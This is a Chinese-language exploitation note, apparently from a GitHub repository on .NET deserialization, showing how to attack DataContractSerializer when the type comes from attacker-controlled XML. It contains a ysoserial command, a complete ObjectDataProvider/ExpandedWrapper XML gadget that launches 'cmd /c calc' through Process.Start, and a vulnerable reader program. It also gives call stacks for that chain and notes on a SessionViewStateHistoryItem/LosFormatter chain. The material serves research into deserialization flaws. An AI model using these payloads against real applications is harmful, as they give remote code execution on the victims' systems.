https://github.com/Y4er/dotnet-deserialization/blob/main/DataContractSerializer.md
DataContractSerializer 其实这个类和xmlSerializer
是类似的 都是得控制type变量的值 还有传入的xml的值
(type的值必须得是序列化的类 不然会反序列化失败)
其不同的是这个类的序列化和反序列化的是依靠writeobject和readobject类
给个官方的Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 using System;using System.IO;using System.Runtime.Serialization;using System.Xml;namespace DataContractDeserialize { [DataContract(Name = "Customer" , Namespace = "http://www.contoso.com" ) ] class Person { [DataMember() ] public string FirstName; [DataMember ] public string LastName; [DataMember() ] public int Age; public Person (string newfName, string newLName, int age ) { FirstName = newfName; LastName = newLName; Age = age; } } class Program { static void Main (string [] args ) { try { WriteObject("DataContractSerializerExample.xml" ); ReadObject("DataContractSerializerExample.xml" ); } catch (SerializationException serExc) { Console.WriteLine("Serialization Failed" ); Console.WriteLine(serExc.Message); } catch (Exception exc) { Console.WriteLine("The serialization operation failed: {0} StackTrace: {1}" , exc.Message, exc.StackTrace); } finally { Console.WriteLine("Press <Enter> to exit...." ); Console.ReadLine(); } } public static void WriteObject (string fileName ) { Console.WriteLine("Creating a Person object and serializing it." ); Person p1 = new Person("bill" , "gates" , 100 ); FileStream writer = new FileStream(fileName, FileMode.Create); DataContractSerializer ser = new DataContractSerializer(typeof (Person)); ser.WriteObject(writer, p1); writer.Close(); } public static void ReadObject (string fileName ) { Console.WriteLine("Deserializing an instance of the object." ); FileStream fs = new FileStream(fileName, FileMode.Open); XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas()); DataContractSerializer ser = new DataContractSerializer(typeof (Person)); Person deserializedPerson = (Person)ser.ReadObject(reader, true ); reader.Close(); fs.Close(); Console.WriteLine(String.Format("{0} {1}, Age: {2}" , deserializedPerson.FirstName, deserializedPerson.LastName, deserializedPerson.Age)); } } }
代码关键点在于new DataContractSerializer(typeof(Person))
指定序列化对象类型Type,然后调用ReadObject()和WriteObject()进行序列化反序列化。
同样 如果我们要传入ObjectDataProvider
生成的那个xml的poc的话 我们的type也必须是ObjectDataProvider
(其实是ExpandedWrapper 这里说ObjectDataProvider是为了好理解一点 )
至于为啥是ExpandedWrapper的话建议去看02那一篇文章
ObjectDataProvider (攻击链) yso生成的poc
ysoserial.exe -f DataContractSerializer -g ObjectDataProvider -c "calc"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <root type ="System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" > <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns ="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal" xmlns:c ="http://www.w3.org/2001/XMLSchema" xmlns:i ="http://www.w3.org/2001/XMLSchema-instance" xmlns:z ="http://schemas.microsoft.com/2003/10/Serialization/" > <ExpandedElement z:Id ="ref1" > <__identity i:nil ="true" xmlns ="http://schemas.datacontract.org/2004/07/System" /> </ExpandedElement > <ProjectedProperty0 xmlns:a ="http://schemas.datacontract.org/2004/07/System.Windows.Data" > <a:MethodName > Start</a:MethodName > <a:MethodParameters xmlns:b ="http://schemas.microsoft.com/2003/10/Serialization/Arrays" > <b:anyType i:type ="c:string" > cmd</b:anyType > <b:anyType i:type ="c:string" > /c calc</b:anyType > </a:MethodParameters > <a:ObjectInstance z:Ref ="ref1" /> </ProjectedProperty0 > </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL > </root >
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 using System;using System.IO;using System.Runtime.Serialization;using System.Xml;namespace DataContractDeserialize { class Program { static void Main (string [] args ) { ReadObject("D:\\Rider\\Project\\ConsoleApplication2\\ConsoleApplication2\\DataContractSerializerExample.xml" ); Console.ReadKey(); } public static void ReadObject (string fileName ) { string xml = File.ReadAllText(fileName); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.LoadXml(xml); XmlNode rootNode = xmlDocument.SelectSingleNode("root" ); XmlNode typeNode = rootNode.Attributes.GetNamedItem("type" ); Console.WriteLine(Type.GetType(typeNode.InnerText)); DataContractSerializer dataContractSerializer = new DataContractSerializer(Type.GetType(typeNode.InnerText)); dataContractSerializer.ReadObject(new XmlTextReader(new StringReader(rootNode.InnerXml))); } } }
这里的话type直接就是从xml中获取的
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Process.Start() [Native to Managed Transition ] RuntimeMethodInfo.UnsafeInvokeInternal() RuntimeMethodInfo.Invoke() RuntimeType.InvokeMember() ObjectDataProvider.InvokeMethodOnInstance() ObjectDataProvider.QueryWorker() ObjectDataProvider.BeginQuery() ObjectDataProvider.set_ObjectInstance() [Lightweight Method Call ] ClassDataContract.ReadXmlValue() XmlObjectSerializerReadContext.ReadDataContractValue() XmlObjectSerializerReadContext.InternalDeserialize() XmlObjectSerializerReadContext.InternalDeserialize() [Lightweight Method Call ] ClassDataContract.ReadXmlValue() XmlObjectSerializerReadContext.ReadDataContractValue() XmlObjectSerializerReadContext.InternalDeserialize() XmlObjectSerializerReadContext.InternalDeserialize() DataContractSerializer.InternalReadObject() XmlObjectSerializer.ReadObjectHandleExceptions() DataContractSerializer.ReadObject() Program.ReadObject() Program.Main()
SessionViewStateHistoryItem(攻击链) (这个类是SessionViewState的内部类 我们得查SessionViewStateHistoryItem才能进入到SessionViewState类中 直接查SessionViewState是进不去的 因为这个类是internal类型 还有就是原生的dll也是没这个类的 我们得重新下载这个dll 然后再导入进去)
这就是我踩的坑 所以记录一下这个过程
这个新链子 我们直接去yso看起构造方法
直接去看SetType函数获取的是哪个类
获取的刚好是我们这个需要构造的攻击链 如何接着往下看 看看其为什么要给这个类里的s参数赋值
在SessionViewStateHistoryItem
这个类进行反序列化的时候 会调用这个s参数 然后进行LosFormatter的反序列化操作 这就是为什么要传s参数的原因
完整Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 using Microsoft.VisualStudio.Text.Formatting;using System;using System.Collections.Specialized;using System.Diagnostics;using System.IO;using System.Reflection;using System.Runtime.Serialization;using System.Text;using System.Web.UI;using System.Windows.Data;using System.Windows.Markup;using System.Xml;namespace DataContractDeserialize { class Program { static void Main (string [] args ) { ReadObject("D:\\Rider\\Project\\ConsoleApplication2\\ConsoleApplication2\\DataContractSerializerExample.xml" ); Console.ReadKey(); } public static void ReadObject (string fileName ) { string xml = File.ReadAllText(fileName); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.LoadXml(xml); XmlNode rootNode = xmlDocument.SelectSingleNode("root" ); XmlNode typeNode = rootNode.Attributes.GetNamedItem("type" ); DataContractSerializer dataContractSerializer = new DataContractSerializer(Type.GetType(typeNode.InnerText)); Console.WriteLine(Type.GetType(typeNode.InnerText)); dataContractSerializer.ReadObject(new XmlTextReader(new StringReader(rootNode.InnerXml))); } } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 XamlReader.Parse()at TextFormattingRunProperties.GetObjectFromSerializationInfo() new TextFormattingRunProperties()[Native to Managed Transition ] ObjectManager.CompleteISerializableObject() ObjectManager.FixupSpecialObject() ObjectManager.DoFixups() ObjectReader.Deserialize() BinaryFormatter.Deserialize() BinaryFormatter.Deserialize() ObjectStateFormatter.DeserializeValue() ObjectStateFormatter.Deserialize() ObjectStateFormatter.Deserialize() ObjectStateFormatter.Deserialize() LosFormatter.Deserialize() new SessionViewState.SessionViewStateHistoryItem()[Lightweight Method Call ] ClassDataContract.ReadXmlValue() XmlObjectSerializerReadContext.ReadDataContractValue() XmlObjectSerializerReadContext.InternalDeserialize() XmlObjectSerializerReadContext.InternalDeserialize() DataContractSerializer.InternalReadObject() XmlObjectSerializer.ReadObjectHandleExceptions() DataContractSerializer.ReadObject() Program.ReadObject() Program.Main()
就是控制type和xml值就行了
NetDataContractSerializer和DataContractSerializer同样用于序列化和反序列化 Windows Communication Foundation (WCF) 消息中发送的数据。
两者有一个重要的区别在于:NetDataContractSerializer 在序列化的 XML 中包含 CLR 类型信息;而 DataContractSerializer 不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 类型时,才能使用 NetDataContractSerializer 。